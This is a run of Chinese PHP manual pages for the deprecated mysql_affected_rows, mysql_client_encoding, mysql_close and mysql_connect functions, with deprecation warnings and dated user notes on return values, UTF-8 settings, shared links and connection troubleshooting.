mysql_affected_rows(resource $link_identifier = NULL): int

取得最近一次与 link_identifier 关联的 INSERT，UPDATE 或 DELETE 查询所影响的记录行数。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

执行成功则返回受影响的行的数目，如果最近一次查询失败的话，函数返回 -1。

如果最近一次操作是没有任何条件（WHERE）的 DELETE 查询，在表中所有的记录都会被删除，但本函数返回值在 4.1.2 版之前都为 0。

当使用 UPDATE 查询，MySQL 不会将原值和新值一样的列更新。这样使得 mysql_affected_rows() 函数返回值不一定就是查询条件所符合的记录数，只有真正被修改的记录数才会被返回。

REPLACE 语句首先删除具有相同主键的记录，然后插入一个新记录。本函数返回的是被删除的记录数加上被插入的记录数。

"INSERT ... ON DUPLICATE KEY UPDATE" 这种情况的查询，当执行了一次 INSERT 返回的值会是 1；如果是对已经存在的记录执行一次 UPDATE 将返回 2。

示例

Example #1 mysql_affected_rows() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* 本例返回被删除记录的准确数目 */
mysql_query('DELETE FROM mytable WHERE id < 10');
printf("Records deleted: %d\n", mysql_affected_rows());

/* 对于非真值的 WHERE 子句，应返回 0 */
mysql_query('DELETE FROM mytable WHERE 0');
printf("Records deleted: %d\n", mysql_affected_rows());
?>

以上示例的输出类似于：

Records deleted: 10
Records deleted: 0

Example #2 使用事务处理的 mysql_affected_rows() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* Update records */
mysql_query("UPDATE mytable SET used=1 WHERE id < 10");
printf ("Updated records: %d\n", mysql_affected_rows());
mysql_query("COMMIT");
?>

以上示例的输出类似于：

Updated Records: 10

注释

Note: 事务处理

如果使用事务处理（transactions），需要在 INSERT，UPDATE 或 DELETE 查询后调用 mysql_affected_rows() 函数，而不是在 COMMIT 命令之后。

Note: SELECT 语句

要获取 SELECT 所返回的行数，可以用 mysql_num_rows()。

Note: Cascaded 外键

mysql_affected_rows() does not count rows affected implicitly through the use of ON DELETE CASCADE and/or ON UPDATE CASCADE in foreign key constraints.

参见

  • mysql_num_rows() - 获取结果中行数
  • mysql_info() - 获取最近查询的有关信息

User Contributed Notes

gtisza at gmail dot com 16-Aug-2019 11:30
Note that when the CLIENT_FOUND_ROWS connection flag was used, affected_rows returns the number of rows matched by the WHERE condition of an UPDATE query, even if the query doesn't actually change those rows. I.e. for

     INSERT INTO t(id, val) VALUES (1, 'x');
     UPDATE t SET val = 'x' WHERE id = 1;

the number of affected rows will be 0 normally but 1 with CLIENT_FOUND_ROWS.
vitospericolato at gmail dot com 19-Jan-2017 11:44
calling mysql_affected_rows(null)
is not the same that calling mysql_affected_rows()

So, if you have a $link variable that could be null, you must write

if($link)
  $n=mysql_affected_rows($link);
else
  $n=mysql_affected_rows();
brian at smitherconsulting dot com 21-Nov-2016 12:31
In the case of INSERT where a row/slot had been previously deleted, making an uncollapsed hole in the table, and the record being inserted fills that empty row/slot, that is to say, the inserted data did not create a new row/slot/space, then this may explain why a zero result is returned by this function.
ahmd 12-May-2016 06:39
I was just testing  "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, on PHP 5.3.29 and mysql_affected_rows() was returning either 2 for updated row, 1 for inserted new row, and also 0, which was not documented, evidently when nothing was inserted. I was inserting a single row.
Ome Ko 28-Jun-2011 01:10
There are no rows affected by an update with identical data.
So here is one very ugly solution for these cases:
<?
function mysql_matched_rows() {
   $_kaBoom=explode(' ',mysql_info());
   return $_kaBoom[2];
}
?>
sean at adtools dot co dot uk 09-Sep-2008 01:48
Here's a little function I've been using for a while now, pass it two parameters (action command (1 or 0 see notes)) and a sql statement.

It returns a simple line which shows the length of time taken to action the query, the status of the query (0= query not actioned, you can set this value for testing, 1=success qry executed successfully, -1= failed, there was a problem with the sql statement) the number of lines affected by that query and the sql statement itself.

I've found this invaluable when trying to tie down large amounts of updates to a table, using this you can easily see where a query was successfully executed and the number of rows are affected, or where there are problems and a statement has failed for example.

<?php
function dosql($action,$sql){
  # assuming you have setup a link to your database entitled $link
  # action = 1 run this query
  # action = 0 don't run, just return sql statement

  $start = getmtime();

  if($action==1){
    $result = mysql_query($sql);
    $affectedrows = "[".mysql_affected_rows($link)."]";
  }
  return "[".number_format((getmtime()-$start),3)."][$action]: $sql\n";
  mysql_free_result($result);
}
?>

Example output:
[0.072][1][80]: UPDATE MYTABLE SET FIELD = 1;
[0.106][1][758]: UPDATE ANOTHERTABLE SET FIELD = 2;
[0.006][-1][0]: UPDATER ANOTHERTABLE SET FIELD = 2;

The output shows:

[Timetaken][result]][lines affected]

The result will be either -1, 0 or 1, -1 means there's a problem with the sql statement, 1 means it executed correctly, 0 means it wasn't executed.
HMax 02-Jul-2007 03:21
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count.
dobrys at abv dot bg 28-May-2007 02:35
I see that when try to use mysql_affected_rows() with "mysql_pconnect(...)" without link indetifier as param in "mysql_affected_rows()" the result is allways -1.
When use link identifier "mysql_affected_rows($this_sql_connection)" - everything is Fine. This is is on PHP Version 5.2.0
Hope that this was helpfull for somebody
temp02 at flexis dot com dot br 29-Jun-2005 05:39
SCENARIO
1. You're using MySQL 4.1x with foreign keys.
2. You have table t2 linked to table t1 by a CASCADE ON DELETE foreign key.
3. t2 has a UNIQUE key so that duplicate records are unacceptable.
3. You have a REPLACE query on t1 followed by an INSERT query on t2 and expect the second query to fail if there's an attempted insert of a duplicate record.

PROBLEM
You notice that the second query is not failing as you had expected even though the record being inserted is an exact duplicate of a record previously inserted.

CAUSE
When the first query (the REPLACE query) deletes a record from t1 in the first stage of the REPLACE operation, it cascades the delete to the record that would be duplicated in t2. The second query then does not fail because the "duplicate" record is no longer a duplicate, as the original one has just been deleted.
steffen at showsource dot dk 28-Sep-2004 03:20
Using OPTIMIZE TABLE will also return true.
So, if you want to check the numbers of deleted records, use mysql_affected_rows() before OPTIMIZE TABLE
deponti A_T tiscalinet D0T it 07-Nov-2003 04:52
It works also for REPLACE query,returning:
0 if the record it's already updated (0 record modified),
1 if the record it's new (1 record inserted),
2 if the record it's updated (2 operations: 1 deletion+ 1 insertion)


返回字符集的名称

  • ? mysql_affected_rows
  • mysql_close ?
  • PHP Manual
  • MySQL 函数
  • 返回字符集的名称

mysql_client_encoding

(PHP 4 >= 4.3.0, PHP 5)

mysql_client_encoding — 返回字符集的名称

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_character_set_name()

说明

mysql_client_encoding(resource $link_identifier = ?): string

从 MySQL 中取得 character_set 变量的值。

参数

link_identifier

MySQL 连接。如不指定连接标识，则使用由 mysql_connect() 最近打开的连接。如果没有找到该连接，会尝试不带参数调用 mysql_connect() 来创建。如没有找到连接或无法建立连接，则会生成 E_WARNING 级别的错误。

返回值

返回当前连接的默认字符集名称。

示例

Example #1 mysql_client_encoding() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$charset = mysql_client_encoding($link);

echo "The current character set is: $charset\n";
?>

以上示例的输出类似于：

The current character set is: latin1

参见

  • mysql_real_escape_string() - 将字符串中的特殊字符进行转义，以在 SQL 语句中使用

User Contributed Notes

devos at montp dot inserm dot fr 23-Aug-2007 03:30
I use mysql 3.23 and none of the above worked for me. Looking at http://dev.mysql.com/tech-resources/articles/4.1/unicode.html as advised by romain at dardour dot com, I tried to include the following header in my php scripts, and all the funy characters disapeared. Hope it will help.

<?php header("Content-type: text/html; charset=latin1");?>

(my mysql character was latin1)
php at quarkus dot de 25-Jul-2007 06:23
Please note that even if you set the charset by issuing the two mentioned SQL statements (set names, set character set) mysql_client_encoding still deliveres the old result.

Default for me is latin1. After switching to UTF8 mysql_client_encoding still returns latin1. The charset switched to UTF8 successfully, though.
roy dot the dot geek+php at gmail dot com 23-Jan-2007 05:37
f you think "set names utf8" for each connection is too trouble, you can modify my.cnf of MySQL to solve the problem forever. In my.cnf, add the line "default-character-set=utf8" in both [mysqld] and [client] sections:

[client]
default-character-set=utf8

[mysqld]
default-character-set=utf8

The MySQL will use utf8 after you restart it.
Pedro Pereira 09-Sep-2006 07:30
All I had to do to save utf8 data with php mysql_query() was to go to the php.ini and put default_charset = "utf-8". Without this I had the same problems some of you have. Plus, all my mysql charsets vars are in 'utf8'. (Changed them with Mysql Admin Tool)

Didnt use any mysql SET **** command at all.

Mysql 4.1.20
PHP 4.4.4
Win XP

Hope this help some of you.
alamakota at mises dot pl 26-Jul-2006 07:13
There's no 'character_set' variable available in MySQL. You can check it yourself in MySQL online documentation or by running MySQL query "SHOW VARIABLES LIKE 'character_set%';".
This must be an error in PHP manual, unless I'm missing something.
21-Jul-2006 05:46
A very easy way to always get results in UTF-8 is to make a common function to connect to DB and in that function set character set to utf-8.

function OpenConn() {
  global $link;
  $link = mysql_connect ("localhost", "username", "password")
      or die(sendError('Could not connect to DB'));
  mysql_select_db ("dbName");
  //
  // Set character set to UTF-8
  //
  mysql_query("SET CHARACTER SET 'utf8'", $link);
}
romain at dardour dot com 15-May-2006 08:56
I couldn't get any luck with all the stuff mentioned below, and despite having an unicode DB, and setting all my field to utf8_general_ci...
After looking around, I found that this page: http://dev.mysql.com/tech-resources/articles/4.1/unicode.html was adding the fields with an extra info before each value:

<?
mysql_query("INSERT INTO table SET field = _utf8'value'");
?>
Mind the "_utf8" before the field value, and outside of the quotes.

This works for me wether in an Insert or an Update statement.

No need here for a <? mysql_query("SET NAMES utf8"); ?> before each query, or to change anything in the config files (that was important since I don't have access to these).
zayfod at yahoo dot com 21-Apr-2006 04:57
The right lines to put in /etc/my.cnf (or other MySQL options file) are:

[client]
init-command="SET NAMES utf8"

Unfortuantely the PHP mysql_connect() function does not use MySQL options files so this is not a sollution for changing the default connection character set for mysqlclient library v4.1+.

The only working sollution remains:

mysql_query("SET NAMES utf8", $conn);

(of course /ext/mysql/php_mysql.c can always be patched ;] )
Wio at psitrax dot de 16-Mar-2006 09:24
If you set the encoding in my.cnf like

[mysqld]
init_connect='SET NAMES utf8'

note that the content of init_connect  is not executed for users that have the SUPER privilege - ie root!
vrbcik 27-Nov-2005 09:26
I have had problems with encoding after export of tables (from hosting - via PhpMyAdmin) and import them to other machine (my notebook - via PhpMyAdmin too). In PhpMyAdmin the encoding of all data was shown correctly, not that good with the web pages (data pulled via php).
The first point is indication, that the data was imported correctly, but php script has got other character set than MySql is sending.

The script's character set is set in header: <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2">. MySql setting was latin1.

Then following code helped me:

<?php
mysql_query("SET CHARACTER SET 'latin2'", $conn);
?>
info at jantichy dot cz 30-Dec-2004 02:02
Notice the difference between following two SQL statements:

SET NAMES 'charset_name'
SET CHARACTER SET charset_name

For more detail see
http://dev.mysql.com/doc/mysql/en/Charset-connection.html
black at scene-si dot org 20-Oct-2004 04:04
the above (as it seems to be vaguely indicated in the mysql manual) works only with mysql 4.1+
stian at grytoyr dot net 19-Oct-2004 06:09
If you experience weird problems, like some UTF-8 characters (the Unicode character &#x010D and a few others in my case) seemingly being changed to garbage by mysql_query, you may need to do something like this before your actual query:

<?php
mysql_query("SET NAMES 'utf8'", $conn);
?>

Took me days to figure that one out...


关闭 MySQL 连接

  • ? mysql_client_encoding
  • mysql_connect ?
  • PHP Manual
  • MySQL 函数
  • 关闭 MySQL 连接

mysql_close

(PHP 4, PHP 5)

mysql_close — 关闭 MySQL 连接

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_close()
  • PDO: 为 PDO 对象设置一个 null 值

说明

mysql_close(resource $link_identifier = NULL): bool

mysql_close() 关闭指定的连接标识所关联的到 MySQL 服务器的非持久连接。如果没有指定 link_identifier，则关闭上一个打开的连接。

建立非持久性的 MySQL 连接，会在 PHP 执行完毕后自动销毁，所以手动关闭连接，并释放资源是可选的。但是还是推荐你在代码中显性的执行该操作，这对提高代码性能有帮助。参考文档 资源释放

参数

link_identifier

MySQL 连接. 如果该连接标识符未给出, 将使用最近一次mysql_connect()建立的连接. 如果没有找到可使用的连接, 将产生一个 E_WARNING 错误.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 mysql_close() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

以上示例会输出：

Connected successfully

注释

Note:

mysql_close() 不会关闭由 mysql_pconnect() 建立的持久连接。 有关其他详细信息，请参阅有关持久连接的手册页。

参见

  • mysql_connect() - 打开一个到 MySQL 服务器的连接
  • mysql_free_result() - 释放结果内存

User Contributed Notes

omega99999 at gmail dot com 20-Feb-2011 01:44
The variable is definitely not optional in 5.3... Caused me a bit of a headache when I was debugging until I realized it was the close function that was causing a hang. So if using just:

<?php
mysql_connect(<...>);

mysql_close();
?>

Use:

<?php
$connection = mysql_connect(<...>);

mysql_close($connection);
?>

(where $connection is any variable of your choice)
mdes[SPAM]saintes at gmail dot com 09-Jul-2010 09:12
i just came over a problem that i had with apache.

It crashs and said :

"Parent: child process exited with status 3221225477 -- Restarting."

the error came from the extesion php_mysql.dll

i didn't understand what was the reason of that crash..

Then, i debug the script that i had downloaded and i noticed that that was the function mysql_close() which caused the problem.

The solution is, to send to it the link identifier which is optionnal in the description but cause a crash with no commentary.

Thanks to agneady.
Anonymous 23-Apr-2010 02:26
At least with PHP5.3.2 and Windows connecting by tcp, you should always use this mysql_close() function to close and free up the tcp socket being used by PHP.  Garbage collection after script execution does not close the tcp socket on its own.  The socket would otherwise remain in 'wait' state for approximately 30 seconds, and any additional page loads/connection attempts would only add to the total number of open tcp connections.  This wait time does not appear to be configurable via PHP settings.
bbodelcampo at yahoo dot co dot uk 13-Dec-2005 05:20
A little note about multiple simultaneous connections to different hosts...

I work on a site that pulls content primarily from one db but uses a db on a foreign server to verify licensing.  One might expect the following to work:

<?php
// Open the connection to the primary db
$res1 = mysql_connect($host1, $user1, $pass1);
mysql_select_db($db1);

// Open connection to the license server
$res2 = mysql_connect($host2, $user2, $pass2);
mysql_select_db($db2, $res2);

// Pull license data and close when done
mysql_query($check_sql, $res2);
// ...
mysql_close($res2);

// Now pull content from the primary db
// Not specifying the resource should default to the last open db
mysql_query($query);
// ...
?>

Turns out this last query, since it cant find an active connection, will try to connect with mysql_connect() with no paramaters.  But if instead you do it as mysql_query($query, $res1), or alternatively, run the mysql_connect for this host again then it works fine.  Thus, it doesnt seem to be possible to have code with an overarching "global" db connection interspersed with temporary connections to another host/db....
levi at alliancesoftware dot com dot au 29-Apr-2005 12:03
As at 5.0.x and 4.3.x: This function should never be used with shared links; instead you should set your link variables to null.
(This explains red's and beer's () problems in previous comments)

  Here is how shared links work:
  - Each link is a resource. mysql_connect() by default looks for a resource with the same paramaters. If one exists, it will return the existing resource.
  - Every assignment of that resource to a variable increases the resource's reference count.
  - When the reference is decremented to zero, the underlying TCP/socket connection is closed.
    - Every assignment of a variable away from that resource decrements the reference count. (This includes a function level variable going out of scope)
    - mysql_close() also decrements the reference count.

Note the last two points: mysql_close() _and_ reassignment of a variable decrement the link's reference count.

A common mistake is a function like:

<?php
function dothings() {
  $link = mysql_open(...);
  // .. do some queries ..
  mysql_close($link)
  $link = null;
}
?>

this will decrement the counter twice, possibly closing the underlying connection and causing errors in other parts of the program.

http://bugs.php.net/bug.php?id=30525 "this is not a bug but just how it works"
beer_nomaed _AT_ hotmail _DOT_ com 03-Dec-2004 01:26
Be careful when using multiple links to connect to same database (with same username). Unless you specify explicitly in mysql_connect() to create a new link, it will return an already open link. If that would be closed by mysql_close(), it will also (obviously) close the other connection, since the link is the same.
Had lot of trouble figuring it out, since in <=4.3.6 there was a bug which didn't close the connection, but after the patch to >=4.3.7, all my application broke down because of a single script that did this.


打开一个到 MySQL 服务器的连接

  • ? mysql_close
  • mysql_create_db ?
  • PHP Manual
  • MySQL 函数
  • 打开一个到 MySQL 服务器的连接

mysql_connect

(PHP 4, PHP 5)

mysql_connect — 打开一个到 MySQL 服务器的连接

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_connect()
  • PDO::__construct()

说明

mysql_connect(
string $server = ini_get("mysql.default_host"),
string $username = ini_get("mysql.default_user"),
string $password = ini_get("mysql.default_password"),
bool $new_link = false,
int $client_flags = 0
): resource|false

打开或重复使用一个到 MySQL 服务器的连接。

参数

server

MySQL 服务器。可以包括端口号，例如 "hostname:port"，或者到本地套接字的路径，例如对于 localhost 的 ":/path/to/socket"。

如果 PHP 指令 mysql.default_host 未定义（默认情况），则默认值是 'localhost:3306'。 在 SQL 安全模式 时，参数被忽略，总是使用 'localhost:3306'。

username

用户名。默认值由 mysql.default_user 定义。 在 SQL 安全模式 时，参数被忽略，总是使用服务器进程所有者的用户名。

password

密码。默认值由mysql.default_password定义。在 SQL 安全模式 时，参数被忽略，总是使用空密码。

new_link

如果用同样的参数第二次调用 mysql_connect()，将不会建立新连接，而将返回已经打开的连接标识。参数 new_link 改变此行为并使 mysql_connect() 总是打开新的连接，甚至当 mysql_connect() 曾在前面被用同样的参数调用过。

client_flags

client_flags 参数可以是以下常量的组合：MYSQL_CLIENT_SSL，MYSQL_CLIENT_COMPRESS，MYSQL_CLIENT_IGNORE_SPACE 或 MYSQL_CLIENT_INTERACTIVE。进一步信息见 MySQL 客户端常量。

返回值

如果成功则返回一个 MySQL 连接标识， 或者在失败时返回 false。

示例

Example #1 mysql_connect() 示例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Example #2 mysql_connect() 示例：使用 hostname:port 语法

<?php
// we connect to example.com and port 3307
$link = mysql_connect('example.com:3307', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);

// we connect to localhost at port 3307
$link = mysql_connect('127.0.0.1:3307', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Example #3 mysql_connect() 示例：使用 ":/path/to/socket" 语法

<?php
// we connect to localhost and socket e.g. /tmp/mysql.sock

// variant 1: omit localhost
$link = mysql_connect(':/tmp/mysql', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);

// variant 2: with localhost
$link = mysql_connect('localhost:/tmp/mysql.sock', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

注释

Note:

只要将 server 指定为 "localhost" 或 "localhost:port"，MySQL 客户端库会越过此值并尝试连接到本地套接字（Windows 中的名字管道）。如果想用 TCP/IP，应该用 "127.0.0.1" 代替 "localhost"。如果 MySQL 客户端库试图连接到一个错误的本地套接字，则应该在 php.ini 中设置 mysql.default_host 的正确路径并把 server 留空。

Note:

脚本一结束，到服务器的连接就被关闭，除非之前已经明确调用 mysql_close() 关闭了。

Note:

Error "Can't create TCP/IP socket (10106)" usually means that the variables_order configure directive doesn't contain character E. On Windows, if the environment is not copied the SYSTEMROOT environment variable won't be available and PHP will have problems loading Winsock.

参见

  • mysql_pconnect() - 打开一个到 MySQL 服务器的持久连接
  • mysql_close() - 关闭 MySQL 连接

User Contributed Notes

VTool 27-Oct-2016 07:11
fcgid_module modules/mod_fcgid.so
FcgidMaxRequestLen 209715200
FcgidConnectTimeout 240
FcgidIOTimeout 240
FcgidBusyScanInterval 240
FcgidBusyTimeout 240
# Esta línea instruye al servidor web para que reconozca un tipo nuevo (php)
AddHandler fcgid-script .php
# Esta línea indica al servidor web donde está instalado PHP.
FcgidInitialEnv PHPRC "c:/php"
# Esta línea indica al servidor web que debe ejecutar la aplicación
# php-cgi.exe cuando un cliente (navegador) solicite una página con
# extensión .php
FcgidWrapper "c:/php/php-cgi.exe" .php
# Con esta línea damos los permisos necesarios para que los clientes puedan
# acceder/ejecutar a los archivos .php
<Directory "c:/Apache/htdocs">
Options Indexes FollowSymLinks Includes ExecCGI
AllowOverride None
Allow from all
</Directory>
pepik at gmail dot cz 19-Jun-2013 11:50
<?php
 $server = 'y.com';
 $login='x';
 $pass='x';
 $db='x';

 $spojeni=mysql_connect($server,$login,$pass) or die ('nelze se pripojit');
 mysql_select_db($db,$spojeni);
 mysql_query("Set names 'utf8'");
?>
yangqingrong at wudimei dot com 18-May-2013 02:17
hello,every one.
  do use "127.0.0.1" instead of "localhost" for php5.4-win7 if you feel the speed is slow.because win7 use ipv6 default.
   "localhost" is for ipv4.

  <?php
   $conn =mysql_connect( "127.0.0.1",
                                       "root",
                                       "pass");
 ?>
trev at dedicate dot co dot uk 07-Aug-2012 04:42
A little note if your scripts sleep a lot, you want to run exactly the same SQL statement 2+ times and you have the "MySQL has gone away" error a lot.

Try setting the 4th parameter to TRUE as it seems sometimes PHP doesn't spot that resource ID x which it used for the last identical lookup is now dud and so tries to use it, thus bypassing tests such as is_resource() and causing a failure.

This is for when mysql_ping() doesn't work for your situation of course.
nicodenboer at yahoo dot com 20-May-2012 01:50
Be carefull here if you use utf8.

The file db.opt of your database should contain the following lines:
default-character-set=utf8
default-collation=utf8_general_ci

It means that your database is created to use the utf8 characterset.
One way to accomplish this is:
CREATE DATABASE my_database DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

Then, after connecting to it from PHP you should use:
mysql_set_charset("UTF8", $connection);

If you don't do this, you will get ugly problems in case other software is reading and writing to the same database!!!!!!
php at lanar dot com dot au 15-Apr-2012 01:11
After upgrading mysql sever to 5.5.21 from 5.0.9 on centos, my WinXP stopped being able to connect with host with the error message
'Bad Handshake'.

Eventual solution to problem was to remove MYSQL_CLIENT_SSL from the call to mysql_connect().

I will also report this as a bug.
bimal at sanjaal dot com 05-Jun-2011 12:15
Portable connections: If you migrate your source code from one to different servers and you would like to avoid re-configuration on a new serve, user the $_SERVER['SERVER_NAME'] flag as:

<?php
switch($_SERVER['SERVER_NAME'])
{
case 'server1.example.com':
  mysqlconnect('host1', 'user1', 'password1');
  mysql_select_db('db1');
  break;
case 'server2.example.com':
  mysqlconnect('host2', 'user2', 'password2');
  mysql_select_db('db2');
  break;
}
?>

This makes a conditional connection to mysql database. It automatically chooses the correct server according to the server name from where your script runs.

Hopefully, you like this portable configuration.
avinc@live,hk 18-Apr-2011 05:47
My situation: "I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP"

But, PHP only can connect to MySQL using mysql_connect("localhost", "root", "password");

"Its selinux not allowing apache to make remote connections"

Solution:
setsebool -P httpd_can_network_connect=1
Harouk 28-Jan-2011 06:11
If you encounter speed problems using this command to a distant server, you can add the line "skip-name-resolve" in your my.cnf to fix it.
i dot linker at gmail dot com 13-Nov-2010 10:55
MySQL connection string regexp:
~mysql://([^:@/]*):?([^@/]*)@?([^/]*)/?([^/]*)~
tpl99 at yandex dot ru 30-Apr-2010 01:56
Whenever you open two connections to a single database,
you are likely not to get any error when selecting not existing db.

<?php
$db1 = mysql_connect( ... );
mysql_select_db('existing_db',$db1);

$db2 = mysql_connect( ... );
mysql_select_db('not_existing_db', $db2);

mysql_query(... , $db2);
//will return no errors and the query wouldn't be executed.
?>

Pay attention and you may save few hours of debugging.
abelcheung at gmail dot com 17-Mar-2010 10:37
Note that named pipe on Windows is unusable since PHP 5.3, and TCP connection shall be used even in localhost.
sholland at napervillegi dot com 02-Dec-2009 09:18
If you are getting an error "Can't assign requested address" you may have a problem with the mysql port.  I had just moved my server to Mac OS X 10.6 and mysql_connect was giving this error.  Going into the /etc/php.ini file and setting the default port number to 3306 fixed the problem.

mysql.default_port = 3306

The php.ini file suggests that PHP will select the port by using the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services, but in this case it is not so.  /etc/services on my machine has 3306 listed, but it didn't get picked up.

This is sort of a bug report, in that the documented feature isn't working.  Please don't delete this until the community decides how to address the problem.  This is one of those hair pulling exercises to get fixed.
david dot schueler at wapkamera dot de 11-Sep-2009 08:51
If you are getting MySQL Errors like #2006: MySQL server has gone away, and you are using mysql_connect() and pcntl_fork() then make shure that you are reconnecting to the mysql server with each created child which you fork()ed.

I pulled my hair out for many days because i was using the same mysql connection for each child and was getting that "MySQL server has gone away" errors.

Here is a simple example:
<?php
$link = mysql_connect($db_server, $db_user, $db_pass);
mysql_select_db($db_database,$link));

$pid = pcntl_fork();
if ($pid == -1)
  // Error forking child
elseif ($pid) {
  // Parent will be here
} else {
  // The child has to esablish a *new* mysql connection.
  // if you use mysql_connect without the 4th parameter
  // then it will use the connection from the parent. But
  // if the child dies, the connection will be unaviable in
  // the parent too.
  // So, note the "true" as 4th parameter.
  $newlink = mysql_connect($db_server, $db_user, $db_pass,true);
  mysql_select_db($db_database,$newlink));
  // ...
}
?>
cory dot mawhorter gmail.com 02-Jul-2009 04:38
Hopefully this saves someone some grief.

My dev computer is windows and runs wampserver.  I have frequent problems with PHP being unable to connect to MySQL after periods of extreme DB activity.

Long story short, it was because I was not running mysql via named-pipes and Windows was running out of available ports to serve PHP.  Apparently, on windows, you have 5000 ports to work with and once they are opened, they remain so for 120 seconds before being released.  This causes problems with mysql/networking because a new port is requested for each connection.

You can read more about the problem at:
(Link too long and had to be broken up)
http://dev.mysql.com/doc/refman/5.0/en
/can-not-connect-to-server.html#can-not-connect-to-server-on-windows
?>

Since mysql is on localhost, I can just enable named-pipes (which is how you should have mysql setup if you don't need networking) to get around the problem instead of the workaround listed on that page.

For details, see:
http://dev.mysql.com/tech-resources
/articles/securing_mysql_windows.html
Contact at LinuxIntro dot com 27-Oct-2008 09:34
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);
bmagilavy at avalon-internet dot com 04-Sep-2008 01:00
If you trying to connect to a remote server, here are a few things that can go wrong. Perhaps this list will save someone some time:

1. You may need to get in touch with the remote server's tech support:

 a. to ensure that you can get through its firewall. It is not necessarily enough to have your server number listed in the recipient site's cpanel remote access host list. It depends on how the server company has things set up;

 b. to find out what port number they are using for database connections, which may not be the default used by mysql_connect;

 c. If you are using ODBC, the host to which you are trying to connect may or may not have any ODBC drivers installed; and

 d. If you are working from a dynamic IP, they may be set up to accommodate it, or you may have to use a proxy. See http://forge.mysql.com/wiki/MySQL_Proxy .

2. If you are working from a shared server yourself, the server number you were sent in the sign-up letter is probably NOT the server number you should be using to connect to a remote database. You need the server number of the machine on which your site is sitting, not your virtual account server number on that machine. You can get this from your own tech support.

I am grateful to Jonathan Jones at Bluehost for this analysis.
pascalxusNOSPAM at yahoo dot com 22-Aug-2008 12:08
I just wanted to share a common wrapper that I use for executing one line SQL statements.  Its an easy wrapper to use that takes care of the connection open/close.  Optionally, the mysql_connect can be replaced with mysql_pconnect for persistent connections.

  function executeQuery( $query, $db, $nocon )
  {
      if( $nocon != "nocon" )
        if( $db != "" ) connect( $db );
        else connect( "pascal_crm" );

      $result= mysql_query( $query );
      $err   = mysql_error();
      if( $err != "" ) echo "error=$err  ";

      if( $nocon != "nocon" )
        mysql_close();
      return $result;
  }

Here's a related mysql_pconnect trivia question:
http://www.codesplunk.com/nr/questions/php17.html
arithmetric at gmail dot com 25-Mar-2008 10:59
If you are trying to open multiple, separate MySQL connections with the same MySQL user, password, and hostname, you must set $new_link = TRUE to prevent mysql_connect from using an existing connection.

For example, you are opening two separate connections to two different databases (but on the same host, and with the same user and password):

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname2, $db2);

At this point, both $db1 and $db2 will have selected the database named by $dbname2.

The workaround is to require that the second MySQL connection is new:

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass, TRUE);
$rv = mysql_select_db($dbname2, $db2);

Now, $db1 should have selected $dbname1, and $db2 should have selected $dbname2.

This has been documented on the mysql_select_db page as well.

Note: This occurs only when the server, username, and password parameters are identical for each mysql_connect statement.
aeolianmeson at blitzeclipse dot com 03-Mar-2008 12:15
Recently, I saw an obscure problem where I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP-CLI. This was in Windows (XP). I usually use MySQLi extension, but also tried MySQL, and both refused to work.

I restarted the service multiple times, and the PHP-CLI still would not connect.

This eventually cleared up.

